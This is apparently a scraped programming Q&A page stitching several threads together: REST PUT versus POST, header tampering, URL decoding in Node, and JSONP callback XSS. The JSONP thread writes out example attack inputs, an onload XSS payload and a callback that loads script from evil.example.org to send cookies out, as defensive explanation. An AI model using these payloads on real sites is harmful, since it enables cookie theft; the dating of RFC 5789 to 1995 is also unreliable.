You POST to example.com/users since you don't know the URL of the user yet, you want the server to create it.
You PUT to example.com/users/id since you want to replace/create a specific user.
POSTing twice with the same data means create two identical users with different ids. PUTing twice with the same data creates the user the first and updates him to the same state the second time (no changes). Since you end up with the same state after a PUT no matter how many times you perform it, it is said to be "equally potent" every time - idempotent. This is useful for automatically retrying requests. No more 'are you sure you want to resend' when you push the back button on the browser.
A general advice is to use POST when you need the server to be in control of URL generation of your resources. Use PUT otherwise. Prefer PUT over POST.

I'd like to add my "pragmatic" advice. Use PUT when you know the "id" by which the object you are saving can be retrieved. Using PUT won't work too well if you need, say, a database generated id to be returned for you to do future lookups or updates.
So: To save an existing user, or one where the client generates the id and it's been verified that the id is unique:
PUT /user/12345 HTTP/1.1 <-- create the user providing the id 12345
Host: mydomain.example
GET /user/12345 HTTP/1.1 <-- return that user
Host: mydomain.example
Otherwise, use POST to initially create the object, and PUT to update the object:
POST /user HTTP/1.1 <--- create the user, server returns 12345
Host: mydomain.example
PUT /user/12345 HTTP/1.1 <--- update the user
Host: mydomain.example

Both are used for data transmission between client to server, but there are subtle differences between them, which are:
PUT
POST
Replacing existing resource or creating if resource is not exist. www.example.com/com/customer/{customerId} www.example.com/com/customer/123/order/{orderId} Identifier is chosen by the client.
Creating new resources and subordinate resources, e.g. a file is subordinate to a directory containing it or a row is subordinate to a database table. www.example.com/com/customer/ www.example.com/com/customer/123/order/ identifier is returned by server
Idempotent i.e. if you PUT a resource twice, it has no effect. Example: Do it as many times as you want, the result will be same. x=1;
POST is neither safe nor idempotent. Example: x++;
Works as specific
Works as abstractive
If you create or update a resource using PUT and then make that same call again, the resource is still there and still has the same state as it did with the first call.
Making two identical POST requests will most likely result in two resources containing the same information.
Analogy:
PUT i.e. take and put where it was.
POST as send mail in post office.
Social Media/Network Analogy:
Post on social media: when we post message, it creates new post.
Put(i.e. edit) for the message we already Posted.

Use POST to create, and PUT to update. That's how Ruby on Rails is doing it, anyway.
PUT /items/1 #=> update
POST /items #=> create

REST is a very high-level concept. In fact, it doesn't even mention HTTP at all!
If you have any doubts about how to implement REST in HTTP, you can always take a look at the Atom Publication Protocol (AtomPub) specification. AtomPub is a standard for writing RESTful webservices with HTTP that was developed by many HTTP and REST luminaries, with some input from Roy Fielding, the inventor of REST and (co-)inventor of HTTP himself.
In fact, you might even be able to use AtomPub directly. While it came out of the blogging community, it is in no way restricted to blogging: it is a generic protocol for RESTfully interacting with arbitrary (nested) collections of arbitrary resources via HTTP. If you can represent your application as a nested collection of resources, then you can just use AtomPub and not worry about whether to use PUT or POST, what HTTP Status Codes to return and all those details.
This is what AtomPub has to say about resource creation (section 9.2):
To add members to a Collection, clients send POST requests to the URI of the Collection.

I like this advice, from RFC 2616's definition of PUT:
The fundamental difference between the POST and PUT requests is reflected in the different meaning of the Request-URI. The URI in a POST request identifies the resource that will handle the enclosed entity. That resource might be a data-accepting process, a gateway to some other protocol, or a separate entity that accepts annotations. In contrast, the URI in a PUT request identifies the entity enclosed with the request -- the user agent knows what URI is intended and the server MUST NOT attempt to apply the request to some other resource.
This jibes with the other advice here, that PUT is best applied to resources that already have a name, and POST is good for creating a new object under an existing resource (and letting the server name it).
I interpret this, and the idempotency requirements on PUT, to mean that:
POST is good for creating new objects under a collection (and create does not need to be idempotent)
PUT is good for updating existing objects (and update needs to be idempotent)
POST can also be used for non-idempotent updates to existing objects (especially, changing part of an object without specifying the whole thing -- if you think about it, creating a new member of a collection is actually a special case of this kind of update, from the collection's perspective)
PUT can also be used for create if and only if you allow the client to name the resource. But since REST clients aren't supposed to make assumptions about URL structure, this is less in the intended spirit of things.

In short:
PUT is idempotent, where the resource state will be the same if the same operation is executed one time or multiple times.
POST is non-idempotent, where the resource state may become different if the operation is executed multiple times as compared to executing a single time.
Analogy with database query
PUT You can think of similar to "UPDATE STUDENT SET address = "abc" where id="123";
POST You can think of something like "INSERT INTO STUDENT(name, address) VALUES ("abc", "xyzzz");
Student Id is auto generated.
With PUT, if the same query is executed multiple times or one time, the STUDENT table state remains the same.
In case of POST, if the same query is executed multiple times then multiple Student records get created in the database and the database state changes on each execution of an "INSERT" query.
NOTE: PUT needs a resource location (already-resource) on which update needs to happen, whereas POST doesn't require that. Therefore intuitively POST is meant for creation of a new resource, whereas PUT is needed for updating the already existing resource.
Some may come up with that updates can be performed with POST. There is no hard rule which one to use for updates or which one to use for create. Again these are conventions, and intuitively I'm inclined with the above mentioned reasoning and follow it.

POST is like posting a letter to a mailbox or posting an email to an email queue.
PUT is like when you put an object in a cubby hole or a place on a shelf (it has a known address).
With POST, you're posting to the address of the QUEUE or COLLECTION. With PUT, you're putting to the address of the ITEM.
PUT is idempotent. You can send the request 100 times and it will not matter. POST is not idempotent. If you send the request 100 times, you'll get 100 emails or 100 letters in your postal box.
A general rule: if you know the id or name of the item, use PUT. If you want the id or name of the item to be assigned by the receiving party, use POST.

Short Answer:
Simple rule of thumb: Use POST to create, use PUT to update.
Long Answer:
POST:
POST is used to send data to server.
Useful when the resource's URL is
unknown
PUT:
PUT is used to transfer state to the server
Useful when a resource's URL is known
Longer Answer:
To understand it we need to question why PUT was required, what were the problems PUT was trying to solve that POST couldn't.
From a REST architecture's point of view there is none that matters. We could have lived without PUT as well. But from a client developer's point of view it made his/her life a lot simpler.
Prior to PUT, clients couldn't directly know the URL that the server generated or if all it had generated any or whether the data to be sent to the server is already updated or not. PUT relieved the developer of all these headaches. PUT is idempotent, PUT handles race conditions, and PUT lets the client choose the URL.

Ruby on Rails 4.0 will use the 'PATCH' method instead of PUT to do partial updates.
RFC 5789 says about PATCH (since 1995):
A new method is necessary to improve interoperability and prevent
errors. The PUT method is already defined to overwrite a resource
with a complete new body, and cannot be reused to do partial changes.
Otherwise, proxies and caches, and even clients and servers, may get
confused as to the result of the operation. POST is already used but
without broad interoperability (for one, there is no standard way to
discover patch format support). PATCH was mentioned in earlier HTTP
specifications, but not completely defined.
"Edge Rails: PATCH is the new primary HTTP method for updates" explains it.

In addition to differences suggested by others, I want to add one more.
In POST method you can send body params in form-data
In PUT method you have to send body params in x-www-form-urlencoded
Header Content-Type:application/x-www-form-urlencoded
According to this, you cannot send files or multipart data in the PUT method
EDIT
The content type "application/x-www-form-urlencoded" is inefficient
for sending large quantities of binary data or text containing
non-ASCII characters. The content type "multipart/form-data" should be
used for submitting forms that contain files, non-ASCII data, and
binary data.
Which means if you have to submit
files, non-ASCII data, and binary data
you should use POST method

At the risk of restating what has already been said, it seems important to remember that PUT implies that the client controls what the URL is going to end up being, when creating a resource. So part of the choice between PUT and POST is going to be about how much you can trust the client to provide correct, normalized URL that are coherent with whatever your URL scheme is.
When you can't fully trust the client to do the right thing, it would be
more appropriate to use POST to create a new item and then send the URL back to the client in the response.

In a very simple way I'm taking the example of the Facebook timeline.
Case 1: When you post something on your timeline, it's a fresh new entry. So in this case they use the POST method because the POST method is non-idempotent.
Case 2: If your friend comment on your post the first time, that also will create a new entry in the database so the POST method used.
Case 3: If your friend edits his comment, in this case, they had a comment id, so they will update an existing comment instead of creating a new entry in the database. Therefore for this type of operation use the PUT method because it is idempotent.*
In a single line, use POST to add a new entry in the database and PUT to update something in the database.

The most important consideration is reliability. If a POST message gets lost the state of the system is undefined. Automatic recovery is impossible. For PUT messages, the state is undefined only until the first successful retry.
For instance, it may not be a good idea to create credit card transactions with POST.
If you happen to have auto generated URI's on your resource you can still use PUT by passing a generated URI (pointing to an empty resource) to the client.
Some other considerations:
POST invalidates cached copies of the entire containing resource (better consistency)
PUT responses are not cacheable while POST ones are (Require Content-Location and expiration)
PUT is less supported by e.g. Java ME, older browsers, firewalls

the origin server can create the resource with that URI
So you use POST and probably, but not necessary PUT for resource creation. You don't have to support both. For me POST is perfectly enough. So it is a design decision.
As your quote mentioned, you use PUT for creation of there is no resource assigned to an IRI, and you want to create a resource anyway. For example, PUT /users/123/password usually replaces the old password with a new one, but you can use it to create a password if it does not exist already (for example, by freshly registered users or by restoring banned users).

Here's a simple rule:
PUT to a URL should be used to update or create the resource that can be located at that URL.
POST to a URL should be used to update or create a resource which is located at some other ("subordinate") URL, or is not locatable via HTTP.

The semantics are supposed be different, in that "PUT", like "GET" is supposed to be idempotent -- meaning, you can the same exact PUT request multiple times and the result will be as if you executed it only once.
I will describe the conventions which I think are most widely used and are most useful:
When you PUT a resource at a particular URL what happens is that it should get saved at that URL, or something along those lines.
When you POST to a resource at a particular URL, often you are posting a related piece of information to that URL. This implies that the resource at the URL already exists.
For example, when you want to create a new stream, you can PUT it to some URL. But when you want to POST a message to an existing stream, you POST to its URL.
As for modifying the properties of the stream, you can do that with either PUT or POST. Basically, only use "PUT" when the operation is idempotent - otherwise use POST.
Note, however, that not all modern browsers support HTTP verbs other than GET or POST.

Most of the time, you will use them like this:
POST a resource into a collection
PUT a resource identified by collection/:id
For example:
POST /items
PUT /items/1234
In both cases, the request body contains the data for the resource to be created or updated. It should be obvious from the route names that POST is not idempotent (if you call it 3 times it will create 3 objects), but PUT is idempotent (if you call it 3 times the result is the same). PUT is often used for "upsert" operation (create or update), but you can always return a 404 error if you only want to use it to modify.
Note that POST "creates" a new element in the collection, and PUT "replaces" an element at a given URL, but it is a very common practice to use PUT for partial modifications, that is, use it only to update existing resources and only modify the included fields in the body (ignoring the other fields). This is technically incorrect, if you want to be REST-purist, PUT should replace the whole resource and you should use PATCH for the partial update. I personally don't care much as far as the behavior is clear and consistent across all your API endpoints.
Remember, REST is a set of conventions and guidelines to keep your API simple. If you end up with a complicated work-around just to check the "RESTfull" box then you are defeating the purpose ;)

To me, the key of understanding the difference was to understand who defines the ID of the resource:
Example (with some address service)
POST (sever creates new resource)
client server/addresses // NOTE: no ID in the request
| |
| --{POST address data}--> |
| |
| <--{201, created addresses/321} | // NOTE: resource ID in the reply
| |
PUT (sever sets data of resource, creating it if necessary)
client server/addresses/321 // NOTE: *you* put the ID here!
| |
| --{PUT address data (to 321)}-->|
| |
| <--{201, created } | // NOTE: resource ID not required here
| |
There are many great answers with great details below, but that helped me to get to the point.

If you are familiar with database operations,
there are
Select
Insert
Update
Delete
Merge (Update if already existing, else insert)
I use PUT for Merge and update like operations and use POST for Insertions.

While there is probably an agnostic way to describe these, it does seem to be conflicting with various statements from answers to websites.
Let's be very clear and direct here. If you are a .NET developer working with Web API, the facts are (from the Microsoft API documentation),
http://www.asp.net/web-api/overview/creating-web-apis/creating-a-web-api-that-supports-crud-operations:
1. PUT = UPDATE (/api/products/id)
2. MCSD Exams 2014 - UPDATE = PUT, there are **NO** multiple answers for that question period.
Sure you "can" use "POST" to update, but just follow the conventions laid out for you with your given framework. In my case it is .NET / Web API, so PUT is for UPDATE there is no debate.
I hope this helps any Microsoft developers that read all comments with Amazon and Sun/Java website links.

Prevent Content Injection into HTTP Req Headers

I am using Requestly Chrome extension to intercept and modify HTTP request headers and change their original values inside my NodeJS app.
How can I prevent attack? For example, I can change Referer header and inject link.

There is no way to prevent users from doing this.
You can't trust the Referer header.

You cannot, but you can try to make the thing more difficult to do, thing a tricky way to sign the headers / datas (sha512, etc..) and add signature in the headers/cookie/datas.
Use the same function on your server to check if the value has been modified during the transport.
"But the 'hacker' can still try to inspect the client code and use the signature function to modify the values ?"
Yes, but you can transform the thing in something completely illisible:
Make your app include a bench of useless big script which doing nothing (uglified of course)
Divide your signature function in many (many) functions named with random char and then uglified them, put one of them inside your useless big scripts.
...
Nothing is trustable on client side, but you can try to discourage the hackers :D

Decoding & from all incoming requests to my node js app

Is there an easy way to detect and decode all encoded characters in any url coming to my node app ?
can it be done with a middleware that fetch and decode symbols like & ?

First off, & shouldn't be in the URL that comes to your server. If it is, someone is likely double-encoding something.
Second, you wouldn't want to decode the URL with middleware unless the usage of that decoded data is only used in that middleware. What I mean to say is that you shouldn't modify the original URL, or other middlware may get confused.
Finally, JavaScript has decodeURIComponent() built-in. https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/decodeURIComponent

Apparent jsonp xss vulnerability

Some of our customers have chimed in about a perceived XSS vulnerability in all of our JSONP endpoints, but I disagree as to whether or not it actually constitutes a vulnerability. Wanted to get the community's opinion to make sure I'm not missing something.
So, as with any jsonp system, we have an endpoint like:
http://foo.com/jsonp?cb=callback123
where the value of the cb parameter is replayed back in the response:
callback123({"foo":"bar"});
Customers have complained that we don't filter out HTML in the CB parameter, so they'll contrive an example like so:
http://foo.com/jsonp?cb=<body onload="alert('h4x0rd');"/><!--
Obviously for a URL that returns the content type of text/html, this poses a problem wherein the browser renders that HTML and then executes the potentially malicious javascript in the onload handler. Could be used to steal cookies and submit them to the attacker's site, or even to generate a fake login screen for phishing. User checks the domain and sees that it's one he trusts, so he goes agead and logs in.
But, in our case, we're setting the content type header to application/javascript which causes various different behaviors in different browsers. i.e. Firefox just displays the raw text, whereas IE opens up a "save as..." dialog. I don't consider either of those to be particularly exploitable. The Firefox user isn't going to read malicious text telling him to jump off a bridge and think much of it. And the IE user is probably going to be confused by the save as dialog and hit cancel.
I guess I could see a case where the IE user is tricked into saving and opening the .js file, which then goes through the microsoft JScript engine and gets all sorts of access to the user's machine; but that seems unlikely. Is that the biggest threat here or is there some other vulnerability that I missed?
(Obviously I'm going to "fix" by putting in filtering to only accept a valid javascript identifier, with some length limit just-in-case; but I just wanted a dialog about what other threats I might have missed.)

Their injection would have to be something like </script><h1>pwned</h1>
It would be relatively trivial for you to verify that $_GET['callback'] (assuming PHP) is a valid JavaScript function name.
The whole point of JSONP is getting around browser restrictions that try and prevent XSS-type vulnerabilities, so to some level there needs to be trust between the JSONP provider and the requesting site.
HOWEVER, the vulnerability ONLY appears if the client isn't smartly handling user input - if they hardcode all of their JSONP callback names, then there is no potential for a vulnerability.

Your site would have an XSS vulnerability if the name of that callback (the value of "cb") were derived blindly from some other previously-input value. The fact that a user can create a URL manually that sends JavaScript through your JSONP API and back again is no more interesting than the fact that they can run that same JavaScript directly through the browser's JavaScript console.
Now, if your site were to ship back some JSON content to that callback which used unfiltered user input from the form, or more insidiously from some other form that previously stored something in your database, then you'd have a problem. Like, if you had a "Comments" field in your response:
callback123({ "restaurantName": "Dirty Pete's Burgers", "comment": "x"+alert("haxored")+"y" })
then that comment, whose value was x"+alert("haxored")+"y, would be an XSS attack. However any good JSON encoder would fix that by quoting the double-quote characters.
That said, there'd be no harm in ensuring that the callback name is a valid JavaScript identifier. There's really not much else you can do anyway, since by definition your public JSONP service, in order to work properly, is supposed to do whatever the client page wants it to do.

Another example would be making two requests like these:
https://example.org/api.php
?callback=$.getScript('//evil.example.org/x.js');var dontcare=(
which would call:
$.getScript('//evil.example.org/x.js');var dontcare= ({ ... });
And evil.example.org/x.js would request:
https://example.org/api.php
?callback=new Mothership({cookie:document.cookie, loc: window.location, apidata:
which would call:
new Mothership({cookie:document.cookie, loc: window.location, apidata: { .. });
Possibilities are endless.
See Do I need to sanitize the callback parameter from a JSONP call? for an example of sanitizing a JSON callback.
Note: Internet Explorer tends to ignore the Content-Type header by default. It is stubborn, and goes to look at the first few bytes of the HTTP response directly, and if it looks kinda of HTML, it will proceed to parse and execute it all as text/html, including inline scripts.

There's nothing to stop them from doing something that inserts code, if that is the case.
Imagine a URL such as http://example.com/jsonp?cb=HTMLFormElement.prototype.submit = function() { /* send form data to some third-party server */ };foo. When this gets received by the client, depending on how you handle JSONP, you may introduce the ability to run JS of arbitrary complexity.
As for how this is an attack vector: imagine an HTTP proxy, that is a transparent forwarding proxy for all URLs except http://example.com/jsonp, where it takes the cb part of the query string and prepends some malicious JS before it, and redirects to that URL.

As Pointy indicates, solely calling the URL directly is not exploitable. However, if any of your own javascript code makes calls to the JSON service with user-supplied data and either renders the values in the response to the document, or eval()s the response (whether now, or sometime in the future as your app evolves over time) then you have a genuinely exploitable XSS vulnerability.
Personally I would still consider this a low risk vulnerability, even though it may not be exploitable today. Why not address it now and remove the risk of it being partly responsible for introducing a higher-risk vulnerability at some point in the future?

We Keep Coding

JavaScript is the programming language of the Web.